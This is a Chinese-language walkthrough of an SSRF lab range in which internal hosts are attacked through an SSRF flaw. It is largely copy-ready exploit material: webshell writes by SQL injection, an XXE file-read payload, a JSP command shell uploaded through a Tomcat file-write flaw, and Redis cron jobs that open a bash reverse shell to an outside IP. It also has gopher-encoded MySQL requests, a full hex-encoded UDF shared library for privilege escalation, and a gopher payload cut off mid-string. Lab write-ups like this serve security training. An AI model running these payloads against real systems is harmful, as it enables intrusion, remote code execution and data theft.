一、简介
这是国光师傅的一个ssrf靶场,通过ssrf漏洞来打内网的一些web应用。下面我们看一下靶场的设计图来理清一下攻击流程。
首先172.150.23.21这个服务器的80端口存在SSRF漏洞,并且映射到了公网的8080,攻击者可以在8080端口借助SSRF漏洞发起对172网段的目标内网的探测和攻击。
二、环境搭建
1.首先是先下载漏洞源码,该漏洞是docker镜像。` `下载地址:https://pan.quark.cn/s/34a2dc7514a0` `提取码:S8R2` ` ``2.下载下来之后把源码丢到linux机器上,注意搭建环境,一定需要有安装docker以及docker—compose,同时还需要更换最新的docker源文件。` `3.当解压之后,首先需要更换当前机器的docker的IP地址,将docker的IP地址以及文件夹中的docker-compose.yaml修改为如下图所示。` `docker: 172.150.23.2 255.255.255.0 网关172.150.23.255` ` ``docker-compose 172.150.23.0/24 4.修改完成之后 使用如下命令即可成功启动` ` ``docker-compose up -d
三、SSRF漏洞利用
- SSRF探测内网端口
首先我们需要先访问该网站。
然后提示我们需要查询的网站,这里我们试试输入百度的网址进行查看,然后虽然由于一些由于特殊原因导致页面效果不是很好,但是依然可以看到成功的请求到了百度。由此我们判断此处存在SSRF漏洞。
然后紧接着我们尝试使用SSRF漏洞的一些协议,这里先使用file协议去读取一下hosts文件来查看内网的IP地址,读取到为172.150.23.21
找到了内网的IP地址之后,我们使用dict协议来探测内网主机和端口。然后我们输入dict://172.150.23.21然后进行抓包。并设置为狙击手模式进行对IP地址进行探测
当然还需要设置好枚举的IP地址的末尾数字,由于知道大概的范围,所以这里只进行小范围爆破,实战需要全部扫描。
这里根据响应时间来判断出21-31之间的端口为存活IP 32之后的IP不存活
然后我们接着对IP开放的服务开始爆破
然后我们这里位置一为IP地址,我们知道了存活IP为21-31所以这里我们手动添加,位置二为探测的端口服务,这里我们添加一些常用的端口。
等爆破完成之后,接下来需要根据响应包中的页面渲染来查看是否开放了此端口 具体如下
扫描出来的端口: 172.150.23.21 - 80 172.150.23.22 - 80 172.150.23.23 - 80、3306 172.150.23.24 - 80 172.150.23.25 - 80 172.150.23.26 - 8080 172.150.23.27 - 6379 172.150.23.28 - 6379 172.150.23.29 - 80、3306 172.150.23.30 - 9000 172.150.23.31 - 80
2.SSRF攻击内网代码注入
我们探测到22主机开放了80端口 然后我们使用http协议访问
然后由于没有其他的服务开启,所以我们只能尝试通过目录爆破 这里我们还是使用burp进行爆破
这里我们对目录或者文件来作为参数进行爆破
没有字典的可以使用如下地址去下载字典
Github字典地址:https://github.com/cpkkcb/fuzzDicts
经过爆破之后成功的发现 phpinfo和shell两个页面
然后我们发现是一句话木马 ,然后传参方式是GET 参数为cmd,由于这里连接需要搭建通讯隧道 所以我们这里只进行简单的 命令执行
然后我们查看根目录下的flag 之后就算完成
3.SSRF攻击内网SQL注入
我们之前扫描到23主机开放的 80的web服务和3306的mysql服务,然后我这里请求web服务进行查看,发现是一个sql注入,并提示我们是一个GET型的参数!
然后我们在输入内输入1段保护search,发现url多了?id=1 由此我们判断出 参数为id然后我们尝试手工注入
当我们输入 http://172.150.23.23/?id=1’ 时 页面提示我们出现错误,该错误是mysql报错
然后我们可以尝试通过报错注入,来进行跑数据库内容,这里自己测试,由于作者当时制作靶场时给的777权限,所以这里我们可以尝试使用union联合注入 尝试写入 webshell。而我们也是 使用order by 来判断出有4个字段然后通过如下payload进行写入webshell。
http://172.150.23.23/?id=1' UNION ALL SELECT NULL,NULL,NULL,"<?php system($_GET['cmd']);?>" into dumpfile '/var/www/html/shell.php'-- -
然后尝试访问 falg文件
4.SSRF攻击内网命令执行
访问发现是一个网络测试的功能
然后我们发现这个网络测试的功能是一个post的请求,这里我们使用http是无法发起的。看着好像是在ip后面加上;号来逃出来,但是实际上没有那么的简单,这里需要使用一个古老的gopher协议来传输数据。
#gopher 协议传递数据的格式 gopher://<host>:<port>/<gopher-pathc>/_<TCP数据量>
这里我们使用手工进行操作依次,后续都由工具来生成。因为后续的关卡都需要用到gopher协议。然后我们先抓取一个请求包。
然后我们进行抓包并把IP地址修改为内网的IP地址,然后将Accept-Encoding: gzip, deflate, br 这个进行删除,如果不删除则会导致乱码,因为被两次gzip编码了。在对其进行两次url编码
然后再使用在对请求的内网IP地址进行抓包,并修改post请求内容为gopher协议。使用gopher协议来发现数据包。
然后查看成功拿到flag
5.SSRF攻击内网XXE
访问发现时一个登录框
然后我们尝试输入账户和密码进行抓包 发现传输格式xml 我们尝试利用xxe漏洞
然后跟上面的操作一样 首先先复制一下xml格式,并抓取到原数据包并进行url编码
<?xml version="1.0" encoding= "UTF-8"?>``<!DOCTYPE user [``<!ENTITY u SYSTEM "file:///flag" >]>``<user>` `<username>&u;</username>` `<password>2</password>``</user>

编码之后然后访问flag成功拿到
6.SSRF攻击内网tomcat
访问发现是一个Tomcat中间件,存在 CVE-2017-12615 任意写文件漏洞
然后我们首先准备一个jsp的木马
<%` `String command = request.getParameter("cmd");` `if(command != null)` `{` `java.io.InputStream in=Runtime.getRuntime().exec(command).getInputStream();` `int a = -1;` `byte[] b = new byte[2048];` `out.print("<pre>");` `while((a=in.read(b))!=-1)` `{` `out.println(new String(b));` `}` `out.print("</pre>");` `} else {` `out.print("format: xxx.jsp?cmd=Command");` `}``%>
将原本攻击的 POST 数据包进行修改,并进行URL编码
通过 SSRF 发起这个 POST 请求,返回 201 状态码表示成功写 shell:
接着通过 SSRF 发起对 shell.jsp 的 HTTP 请求,成功执行了cat /flga
的命令:
7.SSRF攻击内网Redis未授权
我们前面同过dict协议探测到了 172.150.23.27 这个IP地址的6379开启了redis同时存在redies
然后我们尝试输入查看是否存在未授权漏洞
输入下面payload来查看 dict://172.150.23.27:6379/info
执行发现存在redies未授权访问漏洞
然后由于当前系统没有开启web服务,所以我们无法写入webshell,也没有公私钥认证,所以也无法写入公私钥,所以这里我们只能反弹shell。
#注意``我们写入反弹shell是把命令写入到计划任务中,依次来拿到shell,但是不同系统反弹方式有所区别。`` ``CentOS系统:``1.bash和python反弹shell都支持``2.计划任务路径为:/etc/crontab 或者 /var/spool/cron/root`` ``Ubuntu系统:``1.支持python反弹``2.计划任务路径为: /etc/crontab 或者 /var/spool/cron/crontabs/root
然后我们这里写反弹shell的思路为如下
#清空所有数据,实操的时候别这样操作,因为redis数据是存储的缓存中的,这样操作会导致删库,所以禁止此操作。!!!! 如有使用此方法任何后果与均由使用者承担,与作者无关。``flushall`` ``#利用config命令,设置要操作的路径为定时任务目录下``config set dir /var/spool/cron/`` ``#建立定时任务文件为root``config set dbfilename root`` ``#设置定时任务内容,开始和结束的\n是为了避免crontba的语法错误,五个*是每分钟执行依次``set xx "\n* * * * * bash -i >& /dev/tcp/192.168.88.118/4444 0>&1\n"`` ``#保存``svae

当你执行完以上的命令之后 就等着 shell反弹到你的机器上吧! 需要注意的是 一定要监听!!! 当你执行完以上命令后,等待一分钟后就会反弹到shell
然后我们查看flag之后就算攻击完毕!
8.SSRF攻击内网Redis有认证
这次的6379redis有认证,但是我们发现不仅开启了6379还开启了一个80端口的web服务
我们访问后发现是一个文件包含的漏洞
然后我们尝试去包含一下 /etc/redis.conf
并找到其中的密码:P@assw0rd
然后我们使用dict协议进行密码认证看看:
dict://172.150.23.28:6379/auth P@ssw0rd
但是因为dict不支持多行命令的原因,这样就导致认证后的参数无法执行,所以 dict 协议理论上来说是没法攻击带认证的 Redis 服务的。
那么只能使用我们的老伙计 gopher 协议了,gopher 协议因为需要原生数据包,所以我们需要抓取到 Redis 的请求数据包。可以使用 Linux 自带的 socat 命令来进行本地的模拟抓取:
命令来进行本地的模拟抓取:
socat -v tcp-listen:4444,fork tcp-connect:127.0.0.1:6379
此时使用 redis-cli 连接本地的 4444 端口:
服务器接着会把 4444 端口的流量接受并转发给服务器的 6379 端口,然后认证后进行往网站目录下写入 shell 的操作:
# 认证 redis``127.0.0.1:4444> auth P@ssw0rd`` ``# 清空 key``127.0.0.1:4444> flushall`` ``# 设置要操作的路径为网站根目录``127.0.0.1:4444> config set dir /var/www/html`` ``# 在网站目录下创建 shell.php 文件``127.0.0.1:4444> config set dbfilename shell.php`` ``# 设置 shell.php 的内容``127.0.0.1:4444> set x "\n<?php system($_GET[1]);?>\n"`` ``# 保存上述操作``127.0.0.1:4444> save
然后按照如上步骤写入webshell之后进行访问 读取本地flag
9.SSRF攻击内网Mysql未授权
MySQL 需要密码认证时,服务器先发送 salt 然后客户端使用 salt 加密密码然后验证;但是当无需密码认证时直接发送 TCP/IP 数据包即可。所以这种情况下是可以直接利用 SSRF 漏洞攻击 MySQL 的。因为使用 gopher 协议进行攻击需要原始的 MySQL 请求的 TCP 数据包,所以还是和攻击 Redis 应用一样,这里我们使用 tcpdump 来监听抓取 3306 的认证的原始数据包:
# lo 回环接口网卡 -w 报错 pcapng 数据包 tcpdump -i lo port 3306 -w mysql.pcapng
然后本地使用 MySQL 来执行一些测试命令
$ mysql -h127.0.0.1 -uroot -e "select * from flag.test union select user(),version();"
中止 tcpdump 使用 Wireshark 打开mysql.pcapng
数据包,追踪 TCP 流 然后过滤出发给 3306 的数据:
保存为原始数据「Show data as原始数据
」,并且整理成 1 行:
3c00000105a20f0000000001080000000000000000000000000000000000000000000000726f6f7400006d7973716c5f6e61746976655f70617373776f726400210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031360000000373656c656374202a2066726f6d20666c61672e7465737420756e696f6e2073656c656374207573657228292c76657273696f6e28290100000001
生成gopher数据量
使用一下python3脚本转化为url编码:
import sys def results(s): a=[s[i:i+2] for i in range(0,len(s),2)] return "curl gopher://127.0.0.1:3306/_%"+"%".join(a) if __name__=="__main__": s=sys.argv[1] print(results(s))
运行效果如下:
然后查询数据库 gopher协议的数据包
gopher://127.0.0.1:3306/_%3c%00%00%01%05%a2%0f%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%36%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%66%6c%61%67%2e%74%65%73%74%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%75%73%65%72%28%29%2c%76%65%72%73%69%6f%6e%28%29%01%00%00%00%01
从图上可以看到 gopher 请求的数据包已经成功执行了,user () 和 数据库中的 flag 都可查询出来了。
SSRF 攻击 MySQL 仅仅查询数据意义不大,不如直接 UDF 提权然后反弹 shell 出来更加直接,下面尝试使用 SSRF 来 UDF 提权内网的 MySQL 应用。
构造payload需要抓包,过于繁琐,可以利用gopher payload自动生成工具 首先来寻找 MySQL 的插件目录,原生的 MySQL 命令如下:
show variables like '%plugin%';"
使用 Gopherus 来生成payload
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%20%00%00%00%03%73%68%6f%77%20%76%61%72%69%61%62%6c%65%73%20%6c%69%6b%65%20%27%25%70%6c%75%67%69%6e%25%27%3b%01%00%00%00%01
然后依次类推 查看MySQL是否有写文件权限 show variables like “%secure_file%”;
常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。
- sqlmap 的 UDF 动态链接库文件位置
sqlmap根目录/data/udf/mysql
sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。
不过可以利用 sqlmap 自带的解码工具 cloak.py 来解码使用,cloak.py 的位置为:/extra/cloak/cloak.py
,解码方法如下:
# 查看当前目录情况``➜ pwd``/opt/homebrew/Cellar/sqlmap/1.7.9/libexec/extra/cloak``# 解码 32 位的 Linux 动态链接库``➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so``# 解码 64 位的 Linux 动态链接库``➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so``# 解码 32 位的 Windows 动态链接库``➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll``# 解码 64 位的 Windows 动态链接库``➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll``# 查看当前目录下的情况``➜ ls``README.txt cloak.py lib_mysqludf_sys_32.so lib_mysqludf_sys_64.so``__init__.py lib_mysqludf_sys_32.dll lib_mysqludf_sys_64.dll
将 lib_mysqludf_sys_64.so 转为十六进制
xxd -p lib_mysqludf_sys_64.so | tr -d '\n' > lib_mysqludf_sys_64.so.txt
写入动态连接库
mysql -h127.0.0.1 -u root -e "SELECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';"
gopher payload
gopher://127.0.0.1:3306/_%3c%00%00%01%05%a2%0f%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%07%3f%00%00%03%53%45%4c%45%43%54%20%30%78%37%66%34%35%34%63%34%36%30%32%30%31%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%33%30%30%33%65%30%30%30%31%30%30%30%30%30%30%64%30%30%63%30%30%30%30%30%30%30%30%30%30%30%30%34%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%65%38%31%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%34%30%30%30%33%38%30%30%30%35%30%30%34%30%30%30%31%61%30%30%31%39%30%30%30%31%30%30%30%30%30%30%30%35%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%31%34%31%35%30%30%30%30%30%30%30%30%30%30%30%30%31%34%31%35%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%31%30%30%30%30%30%30%30%36%30%30%30%30%30%30%31%38%31%35%30%30%30%30%30%30%30%30%30%30%30%30%31%38%31%35%32%30%30%30%30%30%30%30%30%30%30%30%31%38%31%35%32%30%30%30%30%30%30%30%30%30%30%30%37%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%32%30%30%30%30%30%30%30%30%30%30%30%30%32%30%30%30%30%30%30%30%36%30%30%30%30%30%30%34%30%31%35%30%30%30%30%30%30%30%30%30%30%30%30%34%30%31%35%32%30%30%30%30%30%30%30%30%30%30%30%34%30%31%35%32%30%30%30%30%30%30%30%30%30%30%30%39%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%39%30%30%31%30%30%30%30%30%30%30%30%30%30%30%30%30%38%30%30%30%30%30%30%30%30%30%30%30%30%30%30%35%30%65%35%37%34%36%34%30%34%30%30%30%30%30%30%36%34%31%32%30%30%30%30%30%30%30%30%30%30%30%30%36%34%31%32%30%30%30%30%30%30%30%30%30%30%30%30%36%34%31%32%30%30%30%30%30%30%30%30%30%30%30%30%39%63%30%30%30%30%30%30%30%30%30%30%30%30%30%30%39%6